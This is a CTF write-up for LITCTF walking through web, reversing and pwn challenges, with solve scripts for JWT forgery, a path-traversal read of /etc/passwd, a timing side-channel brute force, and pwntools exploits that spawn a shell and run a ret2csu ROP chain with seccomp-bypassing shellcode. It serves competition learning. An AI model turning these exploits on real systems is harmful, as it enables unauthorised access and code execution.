Playing Hacks and Stuffs!
Hey guys, 0x1337
here.
This writeup contains the challenge to which I solved during the CTF
Ok let’s start and note that i won’t give very detailed solution to some of the challenges
From the challenge name you can pretty much tell what this is about
Accessing the provided url works but the content doesn’t seem to be rendered
Trying to open dev tools doesn’t work because it prevents me from right clicking
I used curl to get the html source
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<script>
const flag = "LITCTF{your_%cfOund_teh_fI@g_94932}";
while (true)
console.log(
flag,
"background-color: darkblue; color: white; font-style: italic; border: 5px solid hotpink; font-size: 2em;"
);
</script>
</body>
</html>
We can see the flag but that doesn’t work when submitted perhaps due to %c
I just removed it and it worked
Flag: LITCTF{your_fOund_teh_fI@g_94932}
Accessing the provided url shows this
If we click Get Flag
we should get this
We can register here
Doing that we should have a valid credential that can get us logged in
Now that we are authentication I checked the cookie available and saw this jwt token
I decoded it using jwt.io
{
"alg": "HS256",
"typ": "JWT"
}
{
"name": "pwner123",
"admin": false
}
I just tried changed the admin
key value to true
to see if we could access the flag
Ok that works! And it’s because it doesn’t check for signature validation
Flag: LITCTF{o0ps_forg0r_To_v3rify_1re4DV9}
Ok same web app as the previous one but this time we are provided with the source code
I downloaded it and checking it shows this
First it imports some libraries
This is basically used for signing a jwt payload
Starts the web app to listen on port 3000 or the port specified in the environment variable
Let’s take a look at the routes now:
false
false
admin
is set to true
Because this verification does check the signature we can’t go around this except via setting admin
to true
We can easily do that because we know the jwt secret
I wrote a script to generate a token for me
That’s pretty much just copy paste from the original server code with some modification
Running it i get a token and i used that to get the flag
Flag: LITCTF{v3rifyed_thI3_Tlme_1re4DV9}
Accessing the provided url shows this
From the challenge name you can probably tell this is going to be some sort of LFI
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
Welcome! The flag is hidden somewhere... Try seeing what you can do in the url bar.
There isn't much on this page...
</body>
</html>
The description on the web page suggests that we should play around with the url bar
I just guessed the parameter to be page
and i was able to include any file
You could as well attempted to fuzz?
ffuf -c -u "http://litctf.org:31778/?FUZZ=../../../../../etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 117,965 -mc all
But doing that I got this
Well i guess we just needed to guess the parameter
Ok now that we can include any file where’s the flag
The challenge didn’t specify the flag name nor the location so we need to figure that
I assumed the name would be flag.txt
Moving on I checked the content of /etc/passwd
We have a user called node
so I checked the directory if the flag is there but it wasn’t
I also tried to retrieve the web app source code but that failed
Next thing i did was to read the environment variable file
It downloaded and i checked the content
NODE_VERSION=16.20.2
HOSTNAME=ac58ff1071df
YARN_VERSION=1.22.19
BUN_INSTALL=/root/.bun
HOME=/root
PATH=/root/.bun/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/app
The path to this web app on the filesystem is /app
So i checked for the flag there
We could have also gotten that using this
Flag: LITCTF{backtr@ked_230fim0}
We are given the application source code
Ok this code is very small and straight forward
If the request method is POST
it will get the password from the request body and makes sure the length is 7
It then goes ahead with the password check which does this:
LITCTF{}
It’s clear that we need to perform a timing-based attack, which is a type of side-channel attack.
This attack exploits the fact that if a character in our provided password matches the correct one, there will be a slight delay before moving on to check the next character.
We can leverage this time lapse to figure out the correct character at each position
With that here’s my solve script
import requests
import string
url = "http://127.0.0.1:5000"
charset = string.ascii_letters
flag = ""
for i in range(7):
for j in charset:
pwd = (flag + j).ljust(7, '.')
password = {
"password": pwd
}
print(password)
req = requests.post(url, data=password)
if int(req.elapsed.total_seconds()) > len(flag):
flag += j
break
Here’s it running locally
We can see it’s retrieving the password
I ran it on the remote instance multiple times due to latency issue and timeout (the remote instance lasts for just 9 minutes)
And YES i used a vps to run it due to latency issue
After some minutes i got the password to be kBySlaY
We can confirm it’s right
Flag: LITCTF{kBySlaY}
I downloaded the binary and searched for low hanging fruits
Flag: LITCTF{y0u_found_Me_3932cc3}
When I accessed the url it made my browser hanged so i had to restart
Trying it again I just used curl to get the html content
We can see it’s loading a javascript file at /assets/index-DLdRi53f.js
So I curl’ed it
It gives an ugly js code
I beautified it using js-beautifier
Looking through it I noticed some variables of type const
storing a base64 encoded value
I decoded the first one and got this
Another base64 value which on decoding gives this
while (true) console.log('kablewy');
postMessage('L');
An infinite loop that makes sense as to why the browser crashes
We can see it does postMessage('L')
I decoded the second one
You can notice that the parameter passed into postMessage
is the flag character
So we need to decode all values, I used some bash command to help automate this
grep " \"[A-Za-z0-9]*\"," app.js | xargs -I {} echo {} | tr -d ',' | cut -d '=' -f 2 | cut -d ' ' -f 2 | base64 -d
And now we can fully decode it
grep " \"[A-Za-z0-9]*\"," app.js | xargs -I {} echo {} | tr -d ',' | cut -d '=' -f 2 | cut -d ' ' -f 2 | base64 -d | cut -d '"' -f 4 | base64 -d
From the result I just wrote the flag manually
Flag: LITCTF{k3F7zH}
We are given the Java source code as an attachement
Downloading it and checking the content shows this
I started from the main function
gotFlag
to true
bun
function and if the result returned from the function isn’t true
it sets gotFlag
to false
Here’s what function bun
does
LITCTF{
and the last character equals }
Moving on, it calls some function on our input and does some checks on the gotFlag
variable
This are the function it calls:
We need to make sure that this function returns true
Function cheese()
public static boolean cheese(String s) {
return (s.charAt(13) == '_' && (int)s.charAt(17) == 95 && s.charAt(19) == '_' && s.charAt(26)+s.charAt(19) == 190 && s.charAt(29) == '_' && s.charAt(34)-5 == 90 && s.charAt(39) == '_');
}
Function meat()
public static boolean meat(String s) {
boolean good = true;
int m = 41;
char[] meat = {'n', 'w', 'y', 'h', 't', 'f', 'i', 'a', 'i'};
int[] dif = {4, 2, 2, 2, 1, 2, 1, 3, 3};
for (int i = 0; i < meat.length; i++) {
m -= dif[i];
if (s.charAt(m) != meat[i]) {
good = false;
break;
}
}
return good;
}
meat
and subtracts it by dif[i]
then compare the input passed into it at that subtracted index to the value at meat[i]
Function pizzaSauce()
public static boolean pizzaSauce(String s) {
boolean[] isDigit = {false, false, false, true, false, true, false, false, true, false, false, false, false, false};
for (int i = 7; i < 21; i++) {
if (Character.isDigit(s.charAt(i)) != isDigit[i - 7]) {
return false;
}
}
char[] sauce = {'b', 'p', 'u', 'b', 'r', 'n', 'r', 'c'};
int a = 7; int b = 20; int i = 0; boolean good = true;
while (a < b) {
if (s.charAt(a) != sauce[i] || s.charAt(b) != sauce[i+1]) {
good = false;
break;
}
a++; b--; i += 2;
while (!Character.isLetter(s.charAt(a))) a++;
while (!Character.isLetter(s.charAt(b))) b--;
}
return good;
}
Basically this function validates a string by ensuring:
Function veggies()
public static boolean veggies(String s) {
int[] veg1 = {10, 12, 15, 22, 23, 25, 32, 36, 38, 40};
int[] veg = new int[10];
for (int i = 0; i < veg1.length; i++) {
veg[i] = Integer.parseInt(s.substring(veg1[i], veg1[i]+1));
}
return (veg[0] + veg[1] == 14 && veg[1] * veg[2] == 20 && veg[2]/veg[3]/veg[4] == 1 && veg[3] == veg[4] && veg[3] == 2 && veg[4] - veg[5] == -3 && Math.pow(veg[5], veg[6]) == 125 && veg[7] == 4 && veg[8] % veg[7] == 3 && veg[8] + veg[9] == 9 && veg[veg.length - 1] == 2);
}
With this we need to generate the flag that satisfies the functions reviewed so far
First we need it to be in the flag format and make sure it’s length is 42
- LITCTF{..................................}
Based on function cheese()
, working on the string we get this:
def cheese(s):
idx = {13: '_', 17: chr(95), 19: '_', 26: chr(190-ord('_')), 29: '_', 34: chr(90+5), 39: '_'}
s = s
for key, val in idx.items():
s[key] = val
return s
- LITCTF{......_..._._......_.._...._...._.}
Working on function meat()
, i got this
def _meat(s):
m = 41
meat = ['n', 'w', 'y', 'h', 't', 'f', 'i', 'a', 'i']
dif = [4, 2, 2, 2, 1, 2, 1, 3, 3]
s = s
for i in range(len(meat)):
m -= dif[i]
s[m] = meat[i]
return s
- LITCTF{......_..._._.i..a._if_th.y_w.n._.}
We can’t work on pizzaSauce()
because it’s dependent on surrounding characters so we need to first process the numbers in veggies so that isLetter
works
Working on function veggies()
, i got this
I did the math operations by hand
flag[22] = '2' # veg[3] == 2
flag[23] = '2' # veg[3] == veg[4]
flag[15] = '4' # veg[2]/veg[3]/veg[4] == 1
flag[12] = '5' # veg[1] * veg[2] == 20
flag[10] = '9' # veg[0] + veg[1] == 14
flag[25] = '5' # veg[4] - veg[5] == -3
flag[32] = '3' # pow(veg[5], veg[6]) == 125
flag[36] = '4' # veg[7] == 4
flag[38] = '7' or '3' # veg[8] % veg[7] == 3
flag[40] = '2' # veg[veg.length-1] == 2
flag[38] = '7' # veg[8] + veg[9] = 9
def veggies(s):
idx = {
23: '2',
15: '4',
12: '5',
10: '9',
25: '5',
32: '3',
36: '4',
38: '7',
40: '2',
38: '7'
}
s = s
for key, val in idx.items():
s[key] = val
return s
- LITCTF{...9.5_.4._._.i.2a5_if_th3y_w4n7_2}
Now for the pizzaSauce
function which should give us the final flag
Here’s the solve script
import string
def cheese(s):
idx = {13: '_', 17: chr(95), 19: '_', 26: chr(190-ord('_')), 29: '_', 34: chr(90+5), 39: '_'}
for key, val in idx.items():
s[key] = val
return s
def _meat(s):
m = 41
meat = ['n', 'w', 'y', 'h', 't', 'f', 'i', 'a', 'i']
dif = [4, 2, 2, 2, 1, 2, 1, 3, 3]
for i in range(len(meat)):
m -= dif[i]
s[m] = meat[i]
return s
def veggies(s):
idx = {
22: '2',
23: '2',
15: '4',
12: '5',
10: '9',
25: '5',
32: '3',
36: '4',
38: '7',
40: '2'
}
for key, val in idx.items():
s[key] = val
return s
def pizzaSauce(s):
sauce = ['b', 'p', 'u', 'b', 'r', 'n', 'r', 'c']
isDigit = [False, False, False, True, False, True, False, False, True, False, False, False, False, False]
a, b, i = 7, 20, 0
for j in range(7, 21):
assert (s[j].isdigit() == isDigit[j - 7])
while a < b:
s[a] = sauce[i]
s[b] = sauce[i + 1]
a += 1
b -= 1
i += 2
while a < b and s[a] not in string.ascii_letters:
a += 1
while a < b and s[b] not in string.ascii_letters:
b -= 1
return s
flag = list("LITCTF{" + "a"*34 + "}")
cheesed = cheese(flag)
meat_r = _meat(cheesed)
veggie = veggies(meat_r)
final_flag = pizzaSauce(veggie)
print(''.join(final_flag))
We can validate it’s the flag by compiling the java file and running it
And we have the flag 🙂
Flag: LITCTF{bur9r5_c4n_b_pi22a5_if_th3y_w4n7_2}
We are given a url and on accessing it i saw this
Basically there’s a checkbox that receives our input which is the flag and maybe if it’s right it would let us know
Looking at the page source i saw this
We can see it’s importing a script and also does this
<script>
function checkFlag(){
let flag = document.getElementById("flag").value;
let flag_len = flag.length+1;
let flag_arr = Array(flag_len).fill(0);
for(let i = 0; i < flag_len-1; i++){
flag_arr[i] = flag.charCodeAt(i);
}
let flag_ptr = Module._malloc(flag_len);
Module.HEAPU8.set(new Uint8Array(flag_arr), flag_ptr);
let res = Module.cwrap("check_flag", "number", ["number"])(flag_ptr);
Module._free(flag_ptr);
if(res == 1){
document.getElementById("right").innerHTML = "ur right :)";
document.getElementById("wrong").innerHTML = "";
}else{
document.getElementById("right").innerHTML = "";
document.getElementById("wrong").innerHTML = "ur wrong :(";
}
}
</script>
This is Web Assembly (WASM)
WebAssembly is an open standard that allows the execution of binary code on the web. This standard, or format code, lets developers bring the performance of languages like C, C++, and Rust to the web development area.
If we take a look at the dev tools we can see the wasm file
I downloaded it
From the above js code we can see that our input is going to be passed as a parameter to check_flag
We need to figure out what this function does
Ghidra has a plugin which decompiles a wasm file you can get it here
At this point I imported the wasm file into Ghidra and here’s the layout
The check_flag
function is in the Exports
Here’s the decompiled code
We can see it setups some value on the stack then compares our input against the value using strcmp
I just decoded those values and got the flag
''.join(chr(x) for x in [76, 73, 84, 67, 84, 70, 123, 116, 48, 100, 52, 121, 95, 49, 53, 95, 108, 49, 116, 51, 114, 97, 108, 108, 121, 95, 116, 104, 51, 95, 100, 52, 121, 95, 98, 51, 102, 48, 114, 101, 95, 116, 104, 101, 95, 99, 48, 110, 116, 51, 115, 116, 125, 0, 0, 0, 0, 0, 0, 0])
'LITCTF{t0d4y_15_l1t3rally_th3_d4y_b3f0re_the_c0nt3st}\x00\x00\x00\x00\x00\x00\x00'
We can confirm it’s the flag
Flag: LITCTF{t0d4y_15_l1t3rally_th3_d4y_b3f0re_the_c0nt3st}
I don’t have my solve script for this again
But it was just a basic ret2libc
No solve script but this was a format string bug
GOT overwrite of printf to system
This program would let us write into any file
If the file is written it would recompile main.c
and execute it
I wrote a function that calls system('/bin/sh')
as a constructor into main.c
Here’s my solve
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings
# Set up pwntools for the correct architecture
exe = context.binary = ELF('main')
context.terminal = ['xfce4-terminal', '--title=GDB-Pwn', '--zoom=0', '--geometry=128x50+1100+0', '-e']
filterwarnings("ignore")
context.log_level = 'info'
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
def init():
global io
io = start()
def solve():
# call as a constructor: int pwn(void)__attribute__((constructor));int pwn(void){system("touch /tmp/a.txt");return 0;}
values = ['int pwn(void)', '__attribute__', '((constructor));', 'int pwn(void){', 'system("/bin/bash");', 'return 0;}']
for i in range(len(values)):
sleep(1)
print(f'[*] Sending -> {values[i]}')
init()
io.recvuntil("name?")
io.sendline("main.c")
io.recvuntil("(W)?")
io.sendline("W")
io.recvuntil("Contents?")
io.sendline(values[i])
io.interactive()
def main():
solve()
if __name__ == '__main__':
main()
Here’s what this main function does
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
init_seccomp(argc, argv, envp);
buf[read(0, buf, 0x100uLL) - 1] = 0;
return 0;
}
Obvious buffer overflow
There’s seccomp rule which disables some syscalls
__int64 init_seccomp()
{
__int64 v1; // [rsp+18h] [rbp-8h]
v1 = seccomp_init(2147418112LL);
seccomp_rule_add(v1, 0LL, 0LL, 1LL);
seccomp_rule_add(v1, 0LL, 59LL, 0LL);
seccomp_rule_add(v1, 0LL, 322LL, 0LL);
seccomp_rule_add(v1, 0LL, 187LL, 0LL);
seccomp_rule_add(v1, 0LL, 89LL, 0LL);
seccomp_rule_add(v1, 0LL, 267LL, 0LL);
seccomp_rule_add(v1, 0LL, 19LL, 0LL);
seccomp_rule_add(v1, 0LL, 17LL, 0LL);
seccomp_rule_add(v1, 0LL, 295LL, 0LL);
seccomp_rule_add(v1, 0LL, 327LL, 0LL);
return seccomp_load(v1);
}
Syscall disallowed are:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0e 0x00 0x00000011 if (A == pread64) goto 0020
0006: 0x15 0x0d 0x00 0x00000013 if (A == readv) goto 0020
0007: 0x15 0x0c 0x00 0x0000003b if (A == execve) goto 0020
0008: 0x15 0x0b 0x00 0x00000059 if (A == readlink) goto 0020
0009: 0x15 0x0a 0x00 0x000000bb if (A == readahead) goto 0020
0010: 0x15 0x09 0x00 0x0000010b if (A == readlinkat) goto 0020
0011: 0x15 0x08 0x00 0x00000127 if (A == preadv) goto 0020
0012: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0020
0013: 0x15 0x06 0x00 0x00000147 if (A == preadv2) goto 0020
0014: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0019
0015: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0018: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
My solution involves:
My solve script: solve
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from warnings import filterwarnings
# Set up pwntools for the correct architecture
exe = context.binary = ELF('main_patched')
context.terminal = ['xfce4-terminal', '--title=GDB-Pwn', '--zoom=0', '--geometry=128x50+1100+0', '-e']
filterwarnings("ignore")
context.log_level = 'info'
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
b *0x4013bd
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# 0x00000000004013b0 <+64>: mov rdx,r14
# 0x00000000004013b3 <+67>: mov rsi,r13
# 0x00000000004013b6 <+70>: mov edi,r12d
# 0x00000000004013b9 <+73>: call QWORD PTR [r15+rbx*8]
# 0x00000000004013bd <+77>: add rbx,0x1
# 0x00000000004013c1 <+81>: cmp rbp,rbx
# 0x00000000004013c4 <+84>: jne 0x4013b0 <__libc_csu_init+64>
# 0x00000000004013c6 <+86>: add rsp,0x8
# 0x00000000004013ca <+90>: pop rbx
# 0x00000000004013cb <+91>: pop rbp
# 0x00000000004013cc <+92>: pop r12
# 0x00000000004013ce <+94>: pop r13
# 0x00000000004013d0 <+96>: pop r14
# 0x00000000004013d2 <+98>: pop r15
# 0x00000000004013d4 <+100>: ret
def init():
global io
io = start()
def ret2csu(edi, rsi, rdx, rbx, rbp, ptr, junk):
csu_pop = 0x4013c6
csu_call = 0x4013b0
payload = flat([
csu_pop,
junk,
0x0,
rbp,
edi,
rsi,
rdx,
ptr,
csu_call,
junk,
0x1,
rsi,
0x3,
0x4,
0x5,
0x6
])
return payload
def solve():
##############################################################################
# Stage 1: Stack Pivot to bss section
##############################################################################
offset = 40
leave_ret = 0x40132d # leave; ret;
data_addr = 0x404500
stack_pivot = ret2csu(0, data_addr, 0x500, 0, 1, exe.got['read'], b'a'*8)
payload = flat({
offset: [
stack_pivot,
leave_ret
]
})
io.send(payload)
info("stack pivot to: %#x", data_addr)
##############################################################################
# Stage 2: Overwrite the got of read to syscall
##############################################################################
overwrite = ret2csu(0, exe.got['read'], 1, 0, 1, exe.got['read'], b'b'*8)
ropchain = flat(
[
b'a'*8,
overwrite
]
)
"""
Future read calls are now a syscall gadget
Also rax is the untouched on read return, so rax=0x1=SYS_write
So we now call write() to set rax
"""
##############################################################################
# Stage 3: Call write() to set rax to mprotect syscall number
##############################################################################
sys_number = 0xA
set_rax = ret2csu(1, data_addr, sys_number, 0, 1, exe.got['read'], b'c'*8)
ropchain += set_rax
################################################################################
# Stage 3: Call mprotect() to make data_addr readable/writeable/executable (rwx)
################################################################################
page_size = 4096
data_page = data_addr & ~(page_size - 1)
prot = 0x7
size = 0x1000
mprotect = ret2csu(data_page, size, prot, 0, 1, exe.got['read'], b'd'*8)
ropchain += mprotect
################################################################################
# Stage 3: Call shellcode: I'm doing sendfile(1, open('flag.txt', 0), 0, 0x100)
################################################################################
sc_addr = data_addr + len(ropchain) + 8
info("shellcode address: %#x", sc_addr)
shellcode = asm('nop')*30
shellcode += asm(shellcraft.open(b'flag.txt\x00', constants.O_RDONLY))
shellcode += asm(shellcraft.sendfile(1, 'rax', 0x0, 0x100))
shellcode += asm(shellcraft.exit(0))
sleep(1)
ropchain += p64(sc_addr)
ropchain += shellcode
io.send(ropchain)
io.sendline(p8(0xf0))
io.interactive()
def main():
init()
solve()
if __name__ == '__main__':
main()
####Iloveseccomp